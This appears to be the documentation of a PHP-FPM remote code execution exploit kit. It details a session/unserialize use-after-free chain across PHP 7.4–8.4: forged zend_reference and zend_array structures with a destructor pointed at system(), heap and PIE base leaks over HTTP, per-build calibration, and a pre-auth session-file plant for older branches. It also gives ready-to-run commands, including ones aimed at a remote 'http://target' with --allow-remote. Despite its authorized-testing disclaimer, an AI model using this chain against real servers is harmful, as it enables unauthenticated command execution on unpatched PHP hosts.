The upstream Apache chain (CVE-2026-109618 / CVE-2026-109619, stages 1-3)
needs a pre-RINIT out-of-memory bailout. Under PHP-FPM that bailout is fatal:
fpm_main.c treats it as FPM_EXIT_SOFTWARE and kills the worker, so the
Apache progress-cache UAF never survives to the next request.
The FPM-viable primitive is the stale BG(unserialize) state — the same
CVEs through a different window. Verified end-to-end on PHP 8.2.34, 8.3.35,
8.4.0, 8.4.25 and 8.4.26 (amd64, Debian-style user-prefix builds) in the local
laboratory; cmd_patchcheck confirms 8.4.27 leaves level=0 (clean). PHP
<= 7.x cannot use this struct-freeing chain, but the same
session.upload_progress surface gives a pre-auth session-file plant
(poison), covered below.
Authorized testing only. The chain is disruptive: it sends multi-megabyte bodies, triggers out-of-memory conditions and kills FPM workers. Use it only against systems you own or have written permission to test.
In mod_php the Apache chain reuses per-request heap state across HTTP requests handled by the same prefork child. FPM's worker lifecycle differs in two ways:
- A pre-RINIT OOM kills the whole worker (
fpm_main.c:1871→FPM_EXIT_SOFTWARE), so the progress-cache UAF cannot be consumed later. PHP_RINIT(basic)runsmemset(&BG, 0, ...)on every request that reaches RINIT, wipingBG(unserialize)— the stale window is exactly one request wide.
The chain therefore has to re-claim the stale struct inside the request that still sees it, before RINIT runs. The rfc1867 multipart upload handler gives exactly that window.
tools/php2shell_fpm_versions.py is the single source of truth for the
affected-version matrix. Every release before the branch fix is vulnerable:
| Branch | Vulnerable | Fixed | This repository |
|---|---|---|---|
| 8.4 | 8.4.0 – 8.4.26 | 8.4.27 | verified profiles (8.4.0, 8.4.25, 8.4.26) |
| 8.3 | 8.3.0 – 8.3.35 | 8.3.36 | verified profile (8.3.35) |
| 8.2 | 8.2.0 – 8.2.34 | 8.2.35 | verified profile (8.2.34) |
| 8.1, 8.0 | every release | never patched | verified profiles (8.1.33, 8.0.30) - same chain |
| 7.4 | every release | never patched | verified profile (7.4.33) - same chain |
| 7.2 | every release | never patched | arms the stale state, no reclaim shape found - session-file plant (poison) |
| 5.x | every release | never patched | no zend_reference for the endgame - session-file plant (poison) |
(PHP 8.5 is fixed in 8.5.12 and is intentionally out of scope here.)
is_vulnerable(), fixed_in(), affected_versions() and source_is_fixed()
(which classifies a tarball by the presence of the upstream fix marker rather
than a version string) all resolve through that registry. The stale struct is
reclaimed on every branch from 7.4 up: php_var_unserialize_init() reuses
BG(unserialize).data whenever level > 0, the Zend memory manager frees
that emalloc block at request end on every version, and
php_session_cancel_decode() (8.2+) only unlinks the session file - it
never touches the struct. An early version of this document claimed the chain
needs 8.2+ because of that function; HTTP-only calibration runs on 7.4.33,
8.0.30 and 8.1.33 (uid=1000 proofs) disproved it.
All offsets are per build and live in profiles/8.4.26-fpm.json
(fpm.basic_globals, fpm.bg_unserialize_*, libphp.zif_system /
libphp.zval_ptr_dtor). Two structures matter (verified against the 8.4.26
sources):
BG(unserialize)inphp_basic_globals(ext/standard/basic_functions.h) is{ struct php_unserialize_data *data; unsigned level; }—dataatbasic_globals + 872,levelat+880(thefpm.bg_unserialize_*profile fields).struct php_unserialize_data(ext/standard/var_unserializer.re) is{ var_entries *last; var_dtor_entries *first_dtor, *last_dtor; HashTable *allowed_classes, *ref_props; zend_long cur_depth, max_depth; var_entries entries; }withvar_entries = { zend_long used_slots; void *next; zval *data[1018]; }— 56 + 8160 = 8216 bytes (fpm.struct_size). The forgedR:2target lands inentries.data[]; the reclaim buffer overwrites the whole chunk.
producer sends GET app.php with a cookie naming a large session
(~4 MB, built once by the builder pool with cleanup=Off).
session_start() decodes the session post-RINIT; the decode pushes
level to 1 and allocates the 8216-byte struct at d; the allocation storm
then hits memory_limit=8M and bails out. zend_try in php_execute_script
catches the bailout, the worker survives, and BG(unserialize) keeps
{level=1, data=d} pointing at the teardown-freed struct.
At this point d is dangling: the only live reference in the engine is the
stale BG pair. Every subsequent request that reaches RINIT memsets BG, so
the consumer must arrive before its own RINIT.
Two ways to reach this arm, selected with --arm-mode (auto picks by
origin - growth when --builder equals --base without a prefix):
- classic builder (above): a second surface with a higher
memory_limitwrites the 4 MB session. Both surfaces can share one port behind--builder-prefix /b. - growth (stock installations, single surface): no big session file and
no
memory_limitsplit. The client POSTs an amplifiedsession_decodepayload to--grow-path(default/grow.php): four short strings (the leak'sR:2hook readsdata[1]) followed by a wide array of nested sub-arrays. Decoding multiplies memory roughly 22x per payload byte whileBG(unserialize).level == 1, so one request OOMs insideunserialize()with the stale state left exactly as above - from a stockmemory_limit=128Mpool. The payload ladder walks down to whatever the front lets through (post_max_sizedefaults to 8M; nginx needsclient_max_body_size 5m, stock1mis too small). A session-growing fallback plus a big-body probe covers fronts that cap bodies lower.
Oracle (local lab only) reads /proc/<pid>/mem at
basic_globals + 872/+880 to get d and level, plus the worker's PIE base
for the FNM offsets. Two heap slots recycle the struct
(0x7f07be280000 / 0x7f07be281000 on the reference build); a mismatch
self-corrects on retry (cmd_endgame verifies probe-arm d equals
consume-arm d and retries up to 4×, rebuilding the oracle after a dead
worker).
The consume request is a multipart POST (pre-RINIT): the rfc1867 handler runs
inside php_hash_environment(), i.e. before zend_activate_modules()
where PHP_RINIT(basic) would memset BG. php_session_initialize() →
php_session_decode() → php_var_unserialize_init() reuses d. A 4 MB
body (the reclaim part) reclaims d's slot; the controlled content plants a
forged var_entries at the exact offsets of the original struct.
The 4 MB arm phase is posted to a second endpoint (the builder pool,
memory_limit=64M, cleanup=Off): posting it to the 8M chain pool would kill
the consumer worker before the fire.
no-oracle removes the memory oracle from the exploit path. It needs two
absolute values that are stable for the lifetime of the FPM master (the
workers are forked from it): the Zend-MM chunk base and the php-fpm PIE base.
By default the client leaks both over HTTP; --chunk/--pie override them,
and local /proc/<pid>/maps is only a fallback (it never opens
/proc/<pid>/mem):
python3 tools/php2shell_fpm.py \
--base http://127.0.0.1:8110 --builder http://127.0.0.1:8111 \
--version 8.4.26 --command 'id>out/p1' --proof-file out/p1 \
no-oracleThe 16384-byte reclaim covers both struct slots: d = chunk + 0x81000
with control offset 0xfe8, and d = chunk + 0x82000 with 0x1fe8
(fpm.no_oracle.candidates in the profile). A throw-away pads+big request
normalizes the heap after the first arm, so the first candidate usually wins;
a mismatch crashes the worker and the next candidate is tried. The worker
still dies on success (HTTP 502) and the proof is the command's output file.
The HTTP leak reuses the stale-session string: the builder's bigvar.php
stores k0..k3 before a 4 MB tail (the amplifier payload seeds its own four),
a reclaimed field lands over the freed k1 slot, and the app reflects the
bytes. The reclaim buffer is tiled with the read length: wherever the
freed string sits inside it, the zend_string it aliases carries a sane
oversized length, so the reflected r becomes an OOB read spanning the stale
zval array (chunk pointer) and the execute_ex handler table (PIE pointer).
Tiling is what makes the geometry shape-discoverable on a build nobody
calibrated: a single pre-placed header only worked when the slot happened to
land on that exact offset, and read a garbage length (crashing the worker)
when it did not.
The slot the buffer has to hit is allocator luck per environment (the
build's compile-time prefix and the checkout paths shift the heap), so phase 1
of calibrate sweeps reclaim shapes, retries a miss (short read or worker
crash), and requires two reads to agree on their pointer offsets before
accepting a geometry. Run calibrate once per host before trusting
no-oracle there; the shipped profile is the reference geometry of the
calibration machine. The read is retried because the worker can abort after
answering; leak prints the two bases.
Absolute bases change when the master restarts, so the leak is repeated per
run. This mode removes both the runtime /proc/<pid>/mem dependency and the
need to know the ASLR bases in advance.
The reclaimed buffer carries, at the offsets php_var_unserialize will read:
- a fake
zend_reference(IS_REFERENCE, refcount 0) whoseval.typeisIS_ARRAYand whosegc/valbuffers point into the same chunk; - a fake
zend_array(zend_arraylayout:arData,nNumUsed,flags = HASH_FLAG_STATIC_KEYS (0x10),pDestructor = zif_system) with one bucket; - a fake
zend_execute_dataframe (80 B) whose arg 1 (execute_data + 0x50) is a fakezend_stringholding the command (≤ 87 bytes, no NUL); - the command bytes themselves and a NUL terminator.
The consume request's session contains r|R:2; the forged buffer supplies the
R:2 target, so r becomes an IS_REFERENCE to the fake array.
consume attaches r; the worker's session shutdown path does the rest:
php_session_flush(1)saves the session — plain arrays are never addref'd, andphp_add_var_hash's temporary ADDREF is balanced by the serialize var_hash destroy, so the save is safe;php_rshutdown_session_globals→zval_ptr_dtor(&PS(http_session_vars))destroysr→ DELREF the reference 1→0 →zend_reference_destroy→i_zval_ptr_dtor(&ref->val);- the fake array's DELREF 1→0 →
zend_array_destroy→pDestructor != ZVAL_PTR_DTOR→zend_hash_destroy(flags 0x10, noHASH_FLAG_HAS_EMPTY_IND, plainpDestructor(&p->val)loop); zif_system(frame)runs withRDI= the execute frame; the fakezend_stringat arg 1 is the command.popenexecutes it; the RETVAL write to garbageRSIand an interiorefreeabort the worker — acceptable: the proof is on disk and FPM respawns the worker.
php_var_unserialize_destroy is skipped at consume (level 2→1) and 8.4.26
has no RSHUTDOWN cleanup, so the fake dtor chunk at d + 0x400 is never
walked during the request. The next request that reaches RINIT memsets BG
and re-arms from scratch — each endgame run is self-contained.
The default command is id>out/p1 (FPM pool cwd is lab/fpm/webroot, so
out/ is served statically by nginx as /out/p1). The consumer request
exits HTTP 502 (worker death after fire) — that is expected. Fetch the
proof separately:
curl http://127.0.0.1:8110/out/p1
# uid=1000(...) gid=1000(...) groups=...On the reference run the proof was uid=1000 (the unprivileged lab user),
i.e. real command execution inside the FPM worker.
cmd_patchcheck runs the arm/probe sequence against a build and reports the
stale state:
python3 tools/php2shell_fpm.py patchcheck
# 8.4.26: BG.data=0x7f07be281000 level=1 STALE-ARMED
# 8.4.27: level=0 clean (both workers survive the post-RINIT OOM probe)patchcheck iterates both laboratory builds (ports 8110/8120); it takes no
target arguments.
tools/php2shell_fpm_labs.py runs two user-prefix builds behind one nginx
(no Docker, no root):
| Build | chain HTTP | builder HTTP | chain FPM | builder FPM |
|---|---|---|---|---|
| 7.2.34 | :8268 | :8269 | :9168 | :9169 |
| 7.4.33 | :8336 | :8337 | :9236 | :9237 |
| 8.0.30 | :8594 | :8595 | :9494 | :9495 |
| 8.1.33 | :8662 | :8663 | :9562 | :9563 |
| 8.2.34 | :8406 | :8407 | :9306 | :9307 |
| 8.3.35 | :8478 | :8479 | :9378 | :9379 |
| 8.4.0 | :8480 | :8481 | :9380 | :9381 |
| 8.4.25 | :8130 | :8131 | :9021 | :9022 |
| 8.4.26 | :8110 | :8111 | :9001 | :9002 |
| 8.4.27 | :8120 | :8121 | :9011 | :9012 |
Every other built version gets a block of its own from
php2shell_fpm_labs.builds_map() (make labs-fpm-ports prints the mapping).
Pools (from lab/fpm/php-fpm.conf.in):
- chain —
memory_limit=8M, sessioncleanup=On(the consumer worker); - builder —
memory_limit=64M,cleanup=Off(builds the ~4 MB session files consumed byproducerandbuild-oom).
up --mode default renders the single-surface shape instead: ONE pool per
build with the php.ini production settings (memory_limit=128M,
pm=dynamic with five workers, post_max_size=8M, cleanup=On) behind ONE
nginx server block whose only non-stock line is client_max_body_size 8m.
The classic chain server additionally exposes the builder pool behind /b/
through a b -> . webroot symlink (no regex location, so the PCRE-free lab
nginx accepts it) - that is the surface --builder-prefix /b uses.
The builder webroot includes bigvar.php (the arm used by leak),
leakvar.php (a tunable variant for geometry research), refb.php (a
benign short session) and grow.php (the accumulating / amplifier endpoint
of the growth arm). app.php can emit X-Debug-* diagnostics to
/tmp/p2s_dbg.txt; those headers are lab-only instrumentation.
Requirements: Python 3.11+, gcc for the user-prefix PHP builds
(lab/fpm/build*.sh). The default endgame also needs yama ptrace_scope=0 for the /proc/<pid>/mem oracle; no-oracle does not.
python3 tools/php2shell_fpm_labs.py up --only 8.4.26
python3 tools/php2shell_fpm_labs.py status
python3 tools/php2shell_fpm_labs.py smoke
python3 tools/php2shell_fpm_labs.py test # primitive + endgame end-to-end
python3 tools/php2shell_fpm_labs.py downStarting 8.4.27 alone (up --only 8.4.27) needs the shared nginx already
running; if the port check fails, start the FPM workers directly:
lab/fpm/runtime/php-8.4.27/sbin/php-fpm \
-y lab/fpm/runtime/php-8.4.27/php-fpm.conf \
-c lab/fpm/php.ini -p lab/fpm/runtime/php-8.4.27 --daemonizeDirectly (recommended first runs):
python3 tools/php2shell_fpm.py \
--base http://127.0.0.1:8110 --builder http://127.0.0.1:8111 \
primitive
# forged benign var_entries; observable via app.php (r<TAB>value)
python3 tools/php2shell_fpm.py \
--base http://127.0.0.1:8110 --builder http://127.0.0.1:8111 \
--version 8.4.26 --command 'id>out/p1' --proof-file out/p1 \
endgame
# same fire, no /proc/<pid>/mem at exploit time
python3 tools/php2shell_fpm.py \
--base http://127.0.0.1:8110 --builder http://127.0.0.1:8111 \
--version 8.4.26 --command 'id>out/p1' --proof-file out/p1 \
no-oracle
# stock installation: one URL, one pool, amplifier arm, worker fan-out
python3 tools/php2shell_fpm.py \
--base http://target --allow-remote --version 8.4.26 \
--command 'id>out/p1' --proof-file out/p1 \
no-oracle
# checklist of every precondition (version, app operations, arm physics)
python3 tools/php2shell_fpm.py --base http://target --allow-remote --version 8.4.26 probe(Global options come before the subcommand. --workers N - default 5 - fans
the arm/consume over a pm=dynamic pool; --builder-prefix /b runs both
classic surfaces behind one port.)
Via the dispatcher (tools/php2shell_auto.py fingerprints nginx and routes
to the FPM chain; the lab needs an explicit --builder because the consumer
endpoint alone is not enough for the 4 MB arm phase):
python3 tools/php2shell_auto.py \
-u http://127.0.0.1:8110/index.php --sapi fpm \
--builder http://127.0.0.1:8111Tests: the unit suite always runs; the live lab tests are gated:
python3 -m unittest discover -s tests -v # unit suite, skips live FPM
PHP2SHELL_FPM_LAB=1 python3 -m unittest \
tests.test_fpm.FpmLabIntegrationTests -v # primitive + endgame + no-oracle liveThe other half of session.upload_progress works on every version,
including the branches without a verified reclaim (5.x and 7.2):
MULTIPART_EVENT_FORMDATAcopies the session id from the POST body without consultingsession.use_only_cookies;MULTIPART_EVENT_FILE_STARTinstalls it asPS(id)and writes the progress data there — kept bysession.upload_progress.cleanup=Offon the builder;- the upload filename is stored and serialized into that file, so chosen
bytes land in a session file of the attacker's choosing
(
php_session_valid_keylimits the name to[a-zA-Z0-9,-], so it is insidesave_path, not a path traversal); - the application deserializes the file on its next
session_start()and reflects it — over HTTP, no/procanywhere.
python3 tools/php2shell_fpm.py --version 7.2.34 \
--base http://127.0.0.1:8268 --builder http://127.0.0.1:8269 \
poison --sid plant7x --payload 'PLANTED_MARKER'This is arbitrary session-file write pre-auth, not RCE by itself: the
serializer rejects keys containing | (so the key cannot smuggle objects) and
the files handler validates the id, which rules out path traversal. Turning the
plant into code execution needs an application gadget or a local file include
in the target — which is why 5.x and 7.2 are reported as session plant; from
7.4 up the struct-freeing chain applies and no-oracle gives remote RCE.
calibrate derives everything a profile needs with HTTP requests only —
no /proc, no local shell, no FPM PID. It is the same traffic the exploit
sends, so a build that calibrates is a build that exploits:
python3 tools/php2shell_fpm.py \
--version 8.2.34 --base http://127.0.0.1:8406 --builder http://127.0.0.1:8407 \
calibrateThree phases, each validated by the answer of the target:
- Leak geometry — the forged
zend_stringheader is tried at a few content offsets; accepted when two consecutive OOB reads expose a chunk and a PIE pointer at the same offsets (which also fixeschunk_base_off). - Reclaim geometry — a forged
IS_LONGzval reflected byapp.phpneeds no PIE base, so it isolates the heap geometry (pad/size shapes and(chunk offset, content offset)pairs). - PIE base — the leaked pointer is rounded to 2 MB boundaries and each candidate is proven with a remote endgame until the proof file appears.
The result is written into profiles/<version>-fpm.json; no-oracle then
reproduces the RCE against that build.
make matrix (or python3 tools/php2shell_fpm_matrix.py) verifies the remote
chain on every unpatched build, one lab at a time so the ports never fight. For
each version it starts the lab, calibrates the profile over HTTP when it is not
verified yet, runs the 100%-remote no-oracle endgame, and prints one line per
version (patched releases are skipped by design):
7.2.34 SESSION PLANT pre-auth write into sess_<sid>
7.4.33 REMOTE RCE uid=1000(...) ...
8.0.30 REMOTE RCE uid=1000(...) ...
8.1.33 REMOTE RCE uid=1000(...) ...
8.2.34 REMOTE RCE uid=1000(...) ...
8.3.35 REMOTE RCE uid=1000(...) ...
8.4.25 REMOTE RCE uid=1000(...) ...
8.4.26 REMOTE RCE uid=1000(...) ...
Every run records its verdict in docs/calibration-logs/verification.json (merged, so a
later partial run does not erase earlier evidence); the README status table is
updated from that file.
- Oracle lab mode.
endgamestill uses the/proc/<pid>/memoracle to resolved.no-oracledrops that read at exploit time and leaks the chunk/PIE bases over HTTP by default;--chunk/--pieand local maps are overrides/fallbacks. The dispatcher stays loopback-only for FPM; the standalone client refuses a non-loopback--baseunless--allow-remoteis passed explicitly. - Per-build offsets.
basic_globals/zif_system/zval_ptr_dtorare PIE-relative offsets for the exact FPM build; another distro or version needs its own profile (sapi: "fpm", seeprofiles/fpm-schema.json). The FPM leak geometry is additionally per environment: runcalibrateon the host that will run the exploit. - Command length. ≤ 87 bytes, no NUL (fake
zend_stringcarrier). - Worker death is expected. The RETVAL/
efreeabort afterzif_systemkills the consumer worker; FPM respawns it. Long-lived targets see a brief 502. - Arm shapes. Classic mode needs two endpoints (the arm must hit a
larger pool than the consumer; a single-endpoint deployment would OOM the
consumer worker). The growth arm needs only one stock pool, but the front
must pass ~5 MB bodies (nginx
client_max_body_size 5m; stock1mis too small formemory_limit=128M) and the application must providesession_start(), a stored reference, a reflected session value and an arm operation (session_decode()of attacker data, or accumulation). - 8.4.27+ is clean.
PHP_RINIT(basic)reclaims/memsets the state before the window;patchcheckproveslevel=0.
See profiles/8.4.26-fpm.json for the verified profile and
tools/php2shell_fpm.py for the implementation.